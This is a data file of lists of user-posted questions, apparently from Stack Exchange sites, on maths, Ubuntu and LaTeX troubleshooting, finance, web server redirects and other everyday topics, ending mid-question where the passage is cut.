[ "A question about eigenvalues of $5\\times5$ matrix", "scrlttr2: Position of the recipient's address", "If a stock doesn't pay dividends, then why is the stock worth anything? I read somewhere that companies are not required to pay dividends to shareholders (this is correct, yes?). If so, then if company A never pays dividends to its shareholders, then what is the point of owning company A's stock? Surely the right to one vote for company A's Board can't be that valuable. What is it that I'm missing?", "When I go to localhost/phpmyadmin I get the apache \"Not Found\" error (404). However, I can load html pages, and run php pages (such as &lt;?php phpinfo(); ?&gt;). And phpmyadmin is installed. balter@homedevbox:~$ aptitude search phpmyadmin i phpmyadmin - MySQL web administration tool I also installed the standard ubuntu LAMP stack and set passwords for mysql and all that. What could be the problem? EDIT: Here is where my phpmyadmin files are. balter@homedevbox:/var$ cd / balter@homedevbox:/$ sudo find . -type d -name phpmyadmin ./var/lib/mysql/phpmyadmin ./var/lib/phpmyadmin ./etc/phpmyadmin ./usr/share/phpmyadmin ./usr/share/dbconfig-common/scripts/phpmyadmin ./usr/share/dbconfig-common/data/phpmyadmin ./usr/share/doc/phpmyadmin", "What posts should be escalated to staff using [status-review], and how do I escalate them?", "14.04.5 to 16.04 Update failed - xenial.tar.gz.gpg missing The update from Trusty to Xenial is officially available via the software updater. After updating all packages, upgrading through the software updater yields: Fetching the upgrade failed. There may be a network problem. Doing a sudo do-release-upgrade yields: Checking for a new Ubuntu release Err Upgrade tool signature 403 Sorry, not allowed to fetch that type of file: xenial.tar.gz.gpg Err Upgrade tool 403 Sorry, not allowed to fetch that type of file: xenial.tar.gz Fetched 0 B in 0s (0 B/s) WARNING:root:file 'xenial.tar.gz.gpg' missing Failed to fetch Fetching the upgrade failed. There may be a network problem.", "Is it easy to enter the UK multiple times on the same Business Visitor Visa? I got a business visitor visa, sponsored by a company, for a 4-5 day visit. The visa was provided for a period of 6 months, with multiple entry possible. First, what should I carry with me when entering the UK (at LHR)? Will they just take a look at my visa and let me in, or will I have an interview or something? (I haven't seen indication that I should carry documents or anything with me, but I thought I'd ask). Second, if I want to re-enter the UK in a month or two (not for a business purpose), can I do that on the same visa, since it's multiple entry? Or is the second entry different than the first (i.e. if the first doesn't have an interview, they'll have an interview on the second entry?)", "Transitive subgroup of symmetric group $S_n$ containing an $(n-1)$-cycle and a transposition", "I have no root access on this machine. I would like to know if there is a way I can download Ubuntu packages and install them as non-root? Probably in my ~/bin or ~/usr/share or something like that? Would that work?", "context menu parent?", "How can I prove that the following summation converges? $$\\sum_{n=0}^\\infty \\sum_{k=0}^n \\frac{(-1)^n}{(k+1)\\times (n-k+1)}$$ I tried to prove that by proving that the following summation in in absolute value converges so the original one converges too, but that's incorrect. Any other ideas?", "I read this short story about 20 years ago, and I'd love to find the title and author. This is what I can recall about the story: It takes place in a classroom full of kids (around 10 years old?) The planet always gets rain The kids lock the main character (a girl, I think) in the closet during the very rare occurrence of sunlight and she misses the entire event. I know it's not much to go on, but I hope it rings a bell for someone!", "I'd like to setup a WCF service to send emails. The System.Net.MailMessage doesn't seem to be serializable, and cannot be passed in a [DataContract] The error I receive is Type 'System.Net.Mail.MailAddress' cannot be serialized. Consider marking it with the DataContractAttribute Any suggestions?", "A Hilbert space is, by definition, a complete inner product space. If $(V,|.|)$ is finite dimensional inner product space of dimension $n$ then it is (topologically) isomorphic to $\\mathbb{R}^n$ which is of course complete. My instinct here is to say \"and therefore, $V$ is also a Hilbert space\". I'm not sure about this step however since completeness depends on the norm and the norm depends on the selected inner product (assuming the induced norm $||x|| = (x | x)^{1/2}$ is used). So, must we place some condition on the inner product or is the topological isomorphism between $\\mathbb{R}^n$ enough to guarantee that V is Hilbert?", "Is there any hint that the MoM or anywhere else got support in combating voldemort the first time around? Or is everything completely UK-centric? I can't remember anyone in the second war being specifically sent from europe to help, even though we see international wizards in book 4. But I don't think all the events of the first war are covered in the books. So are other bodies like the MoM involved in the first war, or was it isolated in the UK?", "Why does Jack let Walt go? In Breaking Bad S5 E14, Jack not only lets Walt go, but also leaves a barrel of money to him after killing Hank. I don't understand why he would do this. Jack says that, with 7 barrels of money, he doesn't need to cook meth any more, so there is no reason to keep Walt (the witness of the killing) alive, let alone to give him so much money. What's the rationale behind this? Or it's just mercy or respect?", "Prove: $|a\\sin x+b \\cos x|\\leq \\sqrt{a^2+b^2}$ $$|a\\sin x+b \\cos x|\\leq \\sqrt{a^2+b^2}$$ I have tried: $$|a\\sin x+b \\cos x|\\leq |a+b|\\leq \\sqrt{a^2+b^2}$$ enough to prove: $$|a+b|\\leq \\sqrt{a^2+b^2}$$ But I can find how to continue from here", "How can I get a more traditional drop-down like menu for Unity?", "Eigenspace of the companion matrix of a monic polynomial How do I prove that the eigenspace of an $n\\times n$ companion matrix $$ C_p=\\begin{bmatrix} 0 &amp; 1 &amp; 0 &amp;\\cdots &amp; 0\\\\ 0 &amp; 0 &amp; 1 &amp;\\cdots &amp; 0 \\\\ \\vdots&amp;\\vdots &amp;\\vdots&amp;\\ddots&amp;\\vdots\\\\ 0 &amp; 0 &amp; 0 &amp;\\cdots &amp;1 \\\\ -\\alpha_0 &amp;-\\alpha_1 &amp;-\\alpha_2 &amp;\\cdots&amp;-\\alpha_{n-1} \\end{bmatrix} $$ equals $\\operatorname{Span}\\{v_{\\lambda} \\} $ where $v_{\\lambda}$ is an eigenvector of the companion matrix w.r.t. the eigenvalue $\\lambda$: $$ v_{\\lambda} = \\begin{bmatrix} 1 \\\\ \\lambda\\\\ \\lambda^{2} \\\\ \\vdots\\\\ \\lambda^{n-1} \\end{bmatrix}. $$", "About the absence of metal in machinery and buildings of the past" ]

[ "Why doesn't Ubuntu ship an application, or the latest versions of some applications? What reasons are there for applications in Ubuntu not being the most up-to-date, and why are some applications not available, in its repositories?", "Statistics () In Q1 of 2012 - 0.0134 such comments per question (~1.33%) In Q2 of 2012 - 0.0167 such comments per question (~1.66%) In Q3 of 2012 - 0.0169 such comments per question (~1.68%) In Q4 of 2012 - 0.0193 such comments per question (~1.92%) In Q1 of 2013 - 0.0223 such comments per question (~2.22%) The vast majority of these questions need serious help. Unfortunately, there is a growing trend towards abuse Along with the good, comes some bad -- as usual in life. These comments are bad when Posting &quot;what have you tried&quot; multiple times per question is severely obnoxious Posting &quot;what have you tried&quot; when the user has clearly shown that they have tried to solve it on their own It is becoming increasingly common to see &quot;what have you tried?&quot; comments in these scenarios. Some examples Workarounds Flagging Comments - It is considered a good thing to be liberal with comment flagging -- that helps us clean up after the fact. &quot;Too Chatty&quot; is a no-brainer here. Unfortunately, that only cleans up after the damage has been done. All signs point toward the continued increase of the trend of using &quot;what have you tried&quot; comments. I spend a lot of time editing and cleaning up bad questions. This trend came up on my radar toward the end of last year and it is getting worse. So, I thought at the very least that I'd raise some awareness.", "How does Mathematica integrate?", "A generalization for Serret's integral $\\int_0^a \\frac{\\ln(1+ax)}{1+x^2}dx$", "How to draw a return arrow from node-3 to node-1", "What is time dilation really?", "Can I use Google Maps as a layer in ArcMap? Is it possible?", "What methods can I use to create balance and consistency between a group of differing logos? A regular challenge that I face is balancing two (or more) logos. Whether they need to be equal or one needs to be given priority. Some logos however might be squares, others rectangles, circles, etc... As a quick sample I snagged a nice high resolution photo from and pretend its going to be an advertisement that needs to show some footwear brand logos on it. In this case I used Adidas and Saucony. This is certainly not balanced even though they're height is the same: Likewise this is not balanced even though they're width is the same: So then the question becomes when are they in balance, is this balance: Maybe a little more adjustment, is this balance: And in these examples I'm only working with two Black Logos. Factor in color and it can get even more difficult to balance. Another issue being when there's tiny text as part of the logo. So the question is, other than estimating / eye-balling it, what tips, methods or even tools are there to balance different sized logos?", "I'm attempting to make an elevation profile from a DEM in ArcMap using the Interpolate Line tool. I've done this before, and it has worked great--basically I just draw a line with Interpolate Line, then click Profile Graph to get the elevation profile. However, for some reason, it's not working now: when I draw out my line, nothing shows up on the map. I don't get a line, and I can't figure out what I'm doing wrong. I've searched online for an answer, but to no avail. Any tips?", "My problem is that I want to have different .tex files for the preamble, the presentation aroundings (my target is a beamer PDF file) and the content of the presentation. Mostly I'll be working on the content file. I even think about partitioning this content .tex file into several chapter files for a better overview. My problem with this solution is that I have to open the presentation.tex file to typeset the whole beamer PDF for looking at the results of my previous changes on the content files. (My presentation.tex file includes the preamble and the content.) Is there any way to get TeXShop to always typeset one particular file (my presentation.tex) although I'm currently working on a different one (e.g. the content.tex)? A shortcut? A command in the .tex file? An option in TeXShop? Anything?", "Alphabetically display the items in itemize", "I'm using GNU Emacs from After Migration to OSX 10.11 \"El Capitan\", Auctex can't run the *tex utilities anymore: Running `LaTeX' on `poisson' with ``pdflatex -file-line-error -interaction=nonstopmode \"\\input\" poisson.tex'' /bin/sh: pdflatex: command not found There is no problem running for example pdflatex on the shell: #pdflatex This is pdfTeX, Version 3.14159265-2.6-1.40.16 (TeX Live 2015) (preloaded format=pdflatex) restricted \\write18 enabled. but it seems that auctex calls /bin/sh pdflatex instead, and that does not work anymore: /bin/sh pdflatex /Library/TeX/texbin/pdflatex: /Library/TeX/texbin/pdflatex: cannot execute binary file maybe due to El Capitan's changes to Gatekeeper sandboxing. How can I configure auctex to run pdflatex again?", "redirecting openshift rhcloud domain to custom domain for SEO purposes Openshift application url: example.rhcloud.com Custom domain: example.com I came across this and added the redirection rule. However, I can not access example.rhcloud.com now. My custom domain is www.example.com. To avoid duplicate content problems, I tried this redirection. Here is my .htaccess file: RewriteEngine on # Uncomment the following lines to force HTTPS #RewriteCond %{HTTP:X-Forwarded-Proto} !https #RewriteRule .* https://%{HTTP_HOST}%{REQUEST_URI} [R,L] # WordPress Defaults RewriteBase / RewriteRule ^index\\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] # Redirect Https traffic to Http RewriteEngine on RewriteCond %{SERVER_PORT} ^443$ [OR] RewriteCond %{HTTPS} on RewriteRule ^(.*)$ http://%{HTTP_HOST}%{REQUEST_URI} [R=301,L] # Redirect non-www to www RewriteEngine on RewriteCond %{HTTP_HOST} !^www\\. [NC] RewriteRule ^(.*)$ http://www.%{HTTP_HOST}/$1 [R=301,L] # Redirect openshift rhcloud domain to custom domain RewriteEngine on RewriteCond %{HTTP_HOST} ^example.rhcloud.com$ RewriteRule (.*)$ http://www.example.com/$1 [R=301,L] Why is example.com not redirecting to ww.example.com? How do I fix this? Also, I see that since I have https to http redirection and non www to www redirection, my blog has been loading slow. How can I reduce it to lesser number of rules? Edit: In chrome: In Firefox: The page isn't redirecting properly, Firefox has detected that the server is redirecting the request for this address in a way that will never complete. This problem can sometimes be caused by disabling or refusing to accept cookies.", "I noticed that I got some initial traffic problems at the point where the initial highway is connected to my city. At the beginning I simply elongated both roads that came from that highway, but this doesn't seem to scale. What I wanted to do now is to create a single six-lane highway from these two four-lane roads. I'd be open to continue to use two roads in parallel here, but I didn't manage to add any way of crossing between the lanes when I tried that idea. So, how do I merge two one-way roads into a single two-way road? Or, if my idea is really bad, what is a good way to connect the initial highway access to my fledgling city? Here's a screenshot of the roads I want to connect, if my description wasn't entirely clear:", "Seating of $n$ people with tickets into $n+k$ chairs with 1st person taking a random seat \"$n$ music lovers have reserved seats in a theater containing a total of $n+k$ seats ($k$ seats are unassigned). The first person who enters the theater, however, lost his seat assignment and chooses a seat at random. Subsequently, people enter the theater one at a time and sit in their assigned seat unless it is already occupied. If it is, they choose a seat at random from the remaining empty seats. What is the probability that person $n$, the last person to enter the theater, finds their seat already occupied?\" I could do this problem for small specific values of $n$ and $k$ but as they grow the expressions seem to get really messy really quick with no discernible pattern. How would one solve this problem?", "Find count of all combination of numbers whose sum is x", "Git ignore file for Xcode projects", "Keyboard shortcut to autocomplete the user in comments", "I use a brick and mortar bank for some of my savings. I’d love to get a CD interest rate closer to what Ally or other online banks offer. Are brick and mortar banks will to negotiate with customers on interest rates? For instance, if I went into a branch and said I’m moving my money to Ally unless the bank matches Ally’s rates, do I have any chance of getting them to?", "Why does increasing the number of features reduce performance? I'm trying to gain an intuition as to why increasing the number of features could reduce performance. I'm currently using an LDA classifier which performs better bivariately among certain features but worse when looking at more features. My classification accuracy is performed using a stratified 10-fold xval. Is there a simple case of when a classifier would work better univariately than bivaraiately to gain a somewhat physical or spatial intuition of what is happening in these higher dimensions?" ]

[ "What is this agglomeration of pink cells I found attached to a stone?", "Proving the measure of an increasing sequence of measurable sets is the limit of the measures", "Making adult decisions \"is\" or \"are\" really not fun: Which is correct? Making adult decisions are/is really not fun. What is the proper answer and why? My gut says \"is\" but I can't explain why.", "How to show that $L^p$ spaces are nested? Suppose $1&lt;p_1&lt;p_2&lt;\\infty$, then show $L^{p_1}[a,b] \\supset L^{p_2}[a,b]$. I was able to show $\\|f\\|_{p_1} \\le \\|f\\|_{p_2} (b-a)^{1/p_1 - 1/p_2}$ but I'm not sure how to proceed from here.", "How FluentWait is different from WebDriverWait? How is the FluentWait is different from WebDriverWait? I am using WebDriverWait having the polling interval set to : 500 miliseconds. Still, WebDriverWait returns after some delay (i.e. 2 - 3 seconds after the element load is completed)? Any opinion here?", "What's the policy about having multiple user accounts?", "I'm confused with using single or double brackets. Look at this code: dir=\"/home/mazimi/VirtualBox VMs\" if [[ -d ${dir} ]]; then echo \"yep\" fi It works perfectly although the string contains a space. But when I change it to single bracket: dir=\"/home/mazimi/VirtualBox VMs\" if [ -d ${dir} ]; then echo \"yep\" fi It says: ./script.sh: line 5: [: /home/mazimi/VirtualBox: binary operator expected When I change it to: dir=\"/home/mazimi/VirtualBox VMs\" if [ -d \"${dir}\" ]; then echo \"yep\" fi It works fine. Can someone explain what is happening? When should I assign double quotes around variables like \"${var}\" to prevent problems caused by spaces?", "$f(x)=x/1$ is not injective?", "Why is sum of squared residuals non-increasing when adding explanatory variable? In my econometric textbook(Introductory Econometrics) covering OLS, the author write, \"SSR must fall when another explanatory variable is added.\" Why is it?", "nameref (hyperref) evaluating counter instead of section name What's the proper way to reference a section with a counter in the title? The TOC generates correctly, but the cross references aren't so lucky. MWE: \\documentclass[letterpaper, 12pt, twoside]{exam} \\usepackage{hyperref} \\newcounter{KSRLessonNumberCounter} \\setcounter{KSRLessonNumberCounter}{1} \\newcommand{\\KSRSection}[2][\\value{KSRLessonNumberCounter}]{ \\setcounter{KSRLessonNumberCounter}{#1} \\section*{Lesson \\arabic{KSRLessonNumberCounter}: #2} \\addcontentsline{toc}{section}{Lesson \\arabic{KSRLessonNumberCounter}: {#2}} \\stepcounter{KSRLessonNumberCounter} } \\newcommand{\\KSRSubsection}[1]{ \\subsection*{#1} \\addcontentsline{toc}{subsection}{#1} } \\newcommand{\\KSRLessonNumber}{ } \\begin{document} \\KSRSection{Sample} This is the first lesson. The second lesson is \\nameref{sec:blah}. \\KSRSection{Blah} \\label{sec:blah} This is the second section \\KSRSection{Lorem Ipsum} Dollars are Set in \\nameref{sec:blah}. \\end{document}", "Title page line spacing I have a simple problem but I didn't manage to find any answer for it. In my title page, I just used \\title{Name of the title} then \\hrule height 0,1cm \\leavevmode \\\\[0,5cm] {\\Huge{\\textbf{\\@title}}}\\\\[0,5cm] \\hrule height 0,1cm \\leavevmode \\\\[0,5cm] to print the title of my document. But it takes more than 3 lines on the PDF file, and I have a different spacing between the 1st and 2nd line compared to the 2nd and 3rd, which is a bit frustrating. Anyone got an idea of why ?", "How do I reset my manor so I can rebuild it with different options?", "Why is the nucleus of an Iron atom so stable? Lighter nuclei liberate energy when undergoing fusion, heavier nuclei when undergoing fission. What is it about the nucleus of an Iron atom that makes it so stable? Alternatively: Iron has the greatest nuclear binding energy - but why?", "How do I unlock the Dream Suite in Animal Crossing New Leaf?", "How can I reorder my divs using only CSS?", "I have two custom taxonomies applied to two custom post types. the terms list on the sidebar just fine and will list all posts associated with it. However, if you search one of the terms in specific, it doesn't bring up a post with that term. Example: Search for term \"PQRI\" I get nothing. Any ideas? I've tried using various search plugins but they either break my custom search parameters or just don't work.", "How to install Python 3.4 on Ubuntu?", "What are the Windows A: and B: drives used for? In Windows you have a C-drive. Everything labeled beyond that is with the following letter. So your second drive is D, your DVD is E and if you put in a USB stick it becomes F and the following drive G. And so on and so forth. But then, what and where are A and B-drives?", "Workflow for converting LaTeX into Open Office / MS Word Format", "Find expected value of $\\frac{1}{1+\\xi}$ Find expected value of $\\frac{1}{1+\\xi}$ if $\\xi$ has Poisson distribution. My try: $$E\\left[ \\frac{1}{1+\\xi}\\right]=\\sum_{k=0}^{\\infty}{x}_{k}{p}_{k}=\\sum_{k=0}^{\\infty}\\frac{1}{k+1}\\frac{\\lambda^ke^{-\\lambda}}{k!}$$ Is it right?" ]

[ "Should you set all the objects to null (Nothing in VB.NET) once you have finished with them? I understand that in .NET it is essential to dispose of any instances of objects that implement the IDisposable interface to release some resources although the object can still be something after it is disposed (hence the isDisposed property in forms), so I assume it can still reside in memory or at least in part? I also know that when an object goes out of scope it is then marked for collection ready for the next pass of the garbage collector (although this may take time). So with this in mind will setting it to null speed up the system releasing the memory as it does not have to work out that it is no longer in scope and are they any bad side effects? MSDN articles never do this in examples and currently I do this as I cannot see the harm. However I have come across a mixture of opinions so any comments are useful.", "This is an unofficial list/changelog of new features and various changes to Stack Overflow and the Stack Exchange network. It is maintained by the community, while a Stack Exchange employee changes the accepted answer to ensure that the latest changes remain on top (given default user settings). To see the list in reverse chronological order (latest entry on top), . For those adding new features here: please post only feature changes that affect the whole network and have some global impact. i.e. bug fixes don't belong here, nor do mobile app updates.", "If the plural of ‘man’ is ‘men,’ shouldn’t the plural of ‘German’ be ‘Germen’? What makes these two words so different that 'man' is changed to 'men', but 'German' is changed to 'Germans'?", "How to Connect & Share your Internet Connection (Wired & Wireless) I have Ubuntu 12.04 on a HP 430 notebook and this has a single wired internet connection and I would like to share this with a LG Optimus One with Android 2.3.3. I followed instructions and created a hotspot as shown below, but UbuntuHost is not visible on the LG Optimus One when I enable the Wifi on it. To summarize, I want my Laptop with an internet connection to act as a WiFi router and access the internet from other devices (LG Optimus One with Android in this case). What additional steps have to be done?", "Installing PHP 5.3 in Ubuntu 14.04 I've just installed Ubuntu 14.04 and am trying to install php 5.3. But when I run apt-get install php5 it's installing php 5.5.9-1ubuntu4. I need to use php 5.3 in the system because the application I'm working on is built with php 5.3. How can I achieve this?", "Trouble plotting arctan with pgfplots I'm trying to plot arctan(x) with pgfplots but I don't get a good output. Here is my code: \\begin{cfigur}\\begin{axis}[ width=160pt,compat=1.5.1,grid style={ultra thin},every axis plot post/.append style={thick}, x tick label style={font=\\tiny},y tick label style={font=\\tiny}, scale only axis,grid=major,axis lines=middle, xlabel={$x$}, ylabel={$y$}, xmin=-200, xmax=200, domain=-200:210, ymin=-5.5, ymax=5.5, xtick={-150,-100,...,150}, ytick={-5, -4,...,5}, restrict y to domain=-20:20, legend style={at={(0.5,-0.05)},anchor=north,nodes={right}}, ] \\addplot[mark=none,color=blue, samples=500]{atan(x)}; \\addlegendentry{$y = \\tan^{-1}x $}; \\end{axis}\\end{cfigur}", "How to find number of prime numbers between two integers I have two integers, x and y so that x &lt; y. How many prime numbers are there between x and y (exclusive). Is there a formula or algorithm to compute?", "How do I view 'git diff' output with my preferred diff tool/ viewer? When I type git diff, I want to view the output with my visual diff tool of choice (SourceGear \"diffmerge\" on Windows). How do I configure git to do this?", "I have two different machines (home and work) running Ubuntu 18.04. Last night vim froze at home. I was in insert mode and typing and went to save (esc :w) and nothing happened. The status bar still reads -- INSERT --, the cursor is still blinking where it was. I was stuck. I couldn't find a way out. I couldn't type (nothing happened when I type), I couldn't move around (the up and down arrows did nothing). It was stuck in insert mode with the cursor blinking where it was. I was definitely multitasking and probably hit some other keys in there, but I don't know what keys. It was late, though, so I closed the terminal window and tried again (I was entering a git commit message). It happened again partway through my typing so I switched to git commit -m \"don't need an editor for this\" instead. And then I shut down my computer and stopped working. I figured I was just tired, but then it happened to me today at work on a different laptop altogether. Again I was multitasking and can't swear I didn't type any bizarro key sequence but if I did it was accidental. And other tabs in the same terminal aren't frozen. I'm used to getting trapped in visual mode in vim. That's a trick I've learned. But stuck in insert mode? Any ideas on what I might've done and how to get out of it? Per a comment suggestion I tried looking at .viminfo but the only .viminfo I see is owned exclusively by root and only appears to show things I would have edited with sudo: # Input Line History (newest to oldest): # Debug Line History (newest to oldest): # Registers: # File marks: '0 1 0 /etc/neomuttrc |4,48,1,0,1531789956,\"/etc/neomuttrc\" '1 1 66 /etc/apt/sources.list.d/signal-bionic.list |4,49,1,66,1530816565,\"/etc/apt/sources.list.d/signal-bionic.list\" '2 51 0 /etc/apt/sources.list |4,50,51,0,1530816531,\"/etc/apt/sources.list\" # Jumplist (newest first): -' 1 0 /etc/neomuttrc |4,39,1,0,1531789956,\"/etc/neomuttrc\" -' 1 66 /etc/apt/sources.list.d/signal-bionic.list |4,39,1,66,1530816565,\"/etc/apt/sources.list.d/signal-bionic.list\" -' 1 66 /etc/apt/sources.list.d/signal-bionic.list |4,39,1,66,1530816565,\"/etc/apt/sources.list.d/signal-bionic.list\" -' 51 0 /etc/apt/sources.list |4,39,51,0,1530816531,\"/etc/apt/sources.list\" -' 51 0 /etc/apt/sources.list |4,39,51,0,1530816531,\"/etc/apt/sources.list\" -' 51 0 /etc/apt/sources.list |4,39,51,0,1530816531,\"/etc/apt/sources.list\" -' 51 0 /etc/apt/sources.list |4,39,51,0,1530816531,\"/etc/apt/sources.list\" -' 1 0 /etc/apt/sources.list |4,39,1,0,1530816447,\"/etc/apt/sources.list\" -' 1 0 /etc/apt/sources.list |4,39,1,0,1530816447,\"/etc/apt/sources.list\" -' 1 0 /etc/apt/sources.list |4,39,1,0,1530816447,\"/etc/apt/sources.list\" -' 1 0 /etc/apt/sources.list |4,39,1,0,1530816447,\"/etc/apt/sources.list\" # History of marks within files (newest to oldest): &gt; /etc/neomuttrc * 1531789952 0 \" 1 0 &gt; /etc/apt/sources.list.d/signal-bionic.list * 1530816564 0 \" 1 66 ^ 1 67 . 1 66 + 1 66 &gt; /etc/apt/sources.list * 1530816454 0 \" 51 0 It seems odd that I wouldn't have an unprivileged .viminfo but I did sudo udpatedb and locate .viminfo and still didn't surface more than the one root-owned file.", "Black screen after installation of Ubuntu 18.04", "Addition with NULL values", "Subject vs. Object marking for whoever? I know similar questions have been asked before, but I'm having trouble reconciling the following sentence, received in an email: Can we ask whomever is your contact there to email us a job so we can check backward compatibility? I could understand using objective case if the sentence were \"can we ask (him) to email...\", but I get tripped up considering \"whomever\" to be the subject of \"(he) is your contact there\".", "Is there any way to distribute spacing equally in every object? Is there any option to do? I want 2MM spacing in every geometrical shape. Thanks in advance.", "How to shift graphics/adjust placement of figure with \\includegraphics I composed a diagram that takes up the entire sheet of paper in landscape mode, called diagram.tex (compiled it to generate pdf). I'm trying to include that into an article, but only half of it is showing; the bottom half is cut off by the right end of the paper. I was able to get it in the proper orientation by using \\includegraphics[angle=90]{diagram.pdf} But because the bottom half of it is cut off, I need some sort of option where I can do something like this: \\includegraphics[angle=90, shift left = 5cm]{diagram.pdf} to pull the rest of the image left (or up, depending on how you're looking at it). So how can I move the figure around? I'm not sure if this is relevant, but I'm using the following documentclass and packages in my paper: \\documentclass[11pt,a4paper,twoside]{article} \\usepackage{tikz, graphicx} Edit: This is not an issue with pushing it past the margins. Half of the picture is not on the paper (sort of like if you stuck half of your left hand behind the left side of your monitor). I need to pull the paper left (just like you would shift your hand left to see it).", "Do eyeballs exhibit chromatic aberration? Fairly straightforward question. If not, why not? I suspect that if they do, it is not perceived due to the regions of highest dispersion being in one's region of lowest visual acuity.", "Why don't authors include in their publications the duration of the research?", "Entire function bounded by a polynomial is a polynomial Suppose that an entire function $f(z)$ satisfies $\\left|f(z)\\right|\\leq k\\left|z\\right|^n$ for sufficiently large $\\left|z\\right|$, where $n\\in\\mathbb{Z^+}$ and $k&gt;0$ is constant. Show that $f$ is a polynomial of degree at most $n$.", "Homomorphism between free groups Let $F_a$ be the group which is freely generated by $a$ elements. How to show that there is a homomorphism from $F_a$ onto $F_b$ if and only if $b\\le a$? I was thinking one possibility is if $F_a$ generated freely by $\\{x_1, \\dots , x_a\\}$ and $F_b$ generated freely by $\\{y_1, \\dots , y_b\\}$ then consider map which says $\\phi(x_i)=y_i$ for $1\\le i \\le b$ and $y_1$ otherwise. I do not know if this works or even how to proceed. How to show this fact?", "Is there any reference where Captain America's shield is made from stolen Wakanda vibranium?", "Need to print out iPhone text messages I have a court case and have text messages on my iPhone I need to transfer to my iPad email for evidence. Every time I try it doesn't work, it will send them to my iMessage but not my email. I need to print them out How do I do this?" ]

[ "Deriving Chinese Remainder Theorem from gcd Bezout identity", "Checking integrity of my server data", "creating a db schema I am trying to create a schema page in LaTeX. It shall look like this. How can I create schema code which look like this image? There should be also a click to go function. When the user clicks on the user_schema link he should be redirected to that page. What classes I can use for this? Any suggestions would be appreciated. \\documentclass{article} \\usepackage[utf8]{inputenc} \\begin{document} \\maketitle \\section{User schema} \\mySchema{Users} { _id: ObjectId - Id do registro name: String - Nome do usuário date: Date - Data de Cadastro ren_date: Date - Data de renovação do Cadastro email: String - Lorem ipsum dolorsitamet, consecteturadipisicingelit, sed do eiusmodtemporincididunt ut labore et dolore magna aliqua. Ut enim ad minimveniam, exercitationullamcolaborisnisi ut aliquipexeacommodoconsequat. Duisautereprehenderit in voluptatevelit esse cillumdolore eu fugiatnullapariatur. Occaecatcupidatat non proident, sunt in culpa quiofficiadeseruntmollit. access_log: Array [ { date: String - Data da ocorrência. user: ObjectId - Usuário que executou. action: String - Ação Executada. } { date: String - Data da ocorrência. user: ObjectId - Usuário que executou. action: String - Ação Executada. } ] \\link{group}{group_id}: ObjectId - Id do grupo. } \\end{document} Here is the image how should it appear:", "How align 2 adjacent divs horizontally WITHOUT float?", "How to find perpendicular vector to another vector? How do I find a vector perpendicular to a vector like this: $$3\\mathbf{i}+4\\mathbf{j}-2\\mathbf{k}?$$ Could anyone explain this to me, please? I have a solution to this when I have $3\\mathbf{i}+4\\mathbf{j}$, but could not solve if I have $3$ components... When I googled, I saw the direct solution but did not find a process or method to follow. Kindly let me know the way to do it. Thanks.", "What does this box icon represent? Since I started playing, I have seen this icon in the bottom right of my screen. Clicking it does nothing. What does this icon represent? I'll add a PC tag, as I'm playing on PC, and it could be related to that.", "Software center not loading software lists", "What is dependency injection? There have been several questions already posted with specific questions about , such as when to use it and what frameworks are there for it. However, What is dependency injection and when/why should or shouldn't it be used?", "In what segment (.BSS, .DATA, other) of an executable file are static variables stored so that they don't have name collision? For example: foo.c: bar.c: static int foo = 1; static int foo = 10; void fooTest() { void barTest() { static int bar = 2; static int bar = 20; foo++; foo++; bar++; bar++; printf(\"%d,%d\", foo, bar); printf(\"%d, %d\", foo, bar); } } If I compile both files and link it to a main that calls fooTest() and barTest repeatedly, the printf statements increment independently. Makes sense since the foo and bar variables are local to the translation unit. But where is the storage allocated? To be clear, the assumption is that you have a toolchain that would output a file in ELF format. Thus, I believe that there has to be some space reserved in the executable file for those static variables. For discussion purposes, lets assume we use the GCC toolchain.", "Toggle Switch to swap the connections of two buttons I am trying to mod my arcade stick so I can switch two commonly swapped buttons on the controller. Essentially they are simple 2 terminal momentary switches connected directly to the controller PCB. I would like to switch their responsibilities, so in my case the Back button and the LB button on the XBox pcb I would like to swap so the Back actuates the LB button on the PCB and the LB actuates the Back button. My assumption is that I would need a switch with 8 terminals, 4 in 4 out. What type of switch am I looking for?", "Disk full, du tells different. How to further investigate? I have a SCSI disk in a server (hardware Raid 1), 32G, ext3 filesytem. df tells me that the disk is 100% full. If I delete 1G this is correctly shown. However, if I run a du -h -x / then du tells me that only 12G are used (I use -x because of some Samba mounts). So my question is not about subtle differences between the du and df commands but about how I can find out what causes this huge difference? I rebooted the machine for a fsck that went w/out errors. Should I run badblocks? lsof shows me no open deleted files, lost+found is empty and there is no obvious warn/err/fail statement in the messages file. Feel free to ask for further details of the setup.", "What is the difference between a teaching assistant and an instructor? It seems to me that the terms \"Teaching Assistant\" and \"Instructor\" refer to a variety of positions. At some places, a teaching assistant is responsible for things like helping the actual lecturer by handing out papers, grading homework, etc., and instructors hold recitation sessions. At other places, I saw the term \"instructor\" referring to the lecturer giving the course, while a teaching assistant is the person doing anything else (recitations, grading etc.). Is there some widely accepted definition of the two positions? For context: The question arose because I wasn't sure whether I'm using the correct terms in my CV -- I am a math graduate student, and I would like to make a distinction between jobs in which I only graded course assignments/final exams, and courses in which I held recitation classes* (and also participated in grading the final exams). Is it OK to use \"Instructor\" for the latter? What should the former be referred to as? *In the course I'm currently teaching, the recitations are planned and written by the ones giving them (without the professors' supervision). Also, the people giving the recitations are not necessarily grad students (some already hold a PhD). I'm elaborating on that because from what I've seen, some of it could be relevant for the definition of the job.", "I am getting the following error in the top menu bar: An error occurred.Please run the Package Manger form the right-click menu or apt-get in a terminal to see what is wrong.The error message was:'Error:BrokenCount>0'.This usually means that your installed packages have unmet dependencies.", "Show that $a(-1) = (-1)a = -a $.", "I think the title says it all. I can't see any reason employers have to incentivize employees to contribute to their 401(k) evenly throughout the year. Instead couldn't they use a relatively simple formula that is based on how much of their income the employee has contributed to their 401(k) thus far for the year? If that or their current contribution is over the threshold, they get the match this pay period, even if they didn't contribute anything. EDIT: To clarify, my employer matches 100% of the first 3% of my contribution and 50% of the next 2%. The match is added every pay period along with my contribution. I am pretty sure there is no \"true-up\" feature, so if I were to hit the $17.5K limit early, and not be able to contribute at least 5% of my salary, I would not get the full match. So I have to be careful to make my contributions evenly throughout the year to get the maximum match. Just trying to figure out my employer's motivation for requiring this.", "Old-style/Antique typesetting in LaTeX/TeX", "What does \"Incompatible types: void cannot be converted to ...\" mean?", "Why is my dual-core CPU recognized as a quad-core one? My processor is an . As you can see, it's 2 cores and 4 threads. Although, both Ubuntu 11.04 and Windows 7 seem to think it's a quad-core CPU: Why is this? Is it because there are 2 threads per core, dividing the 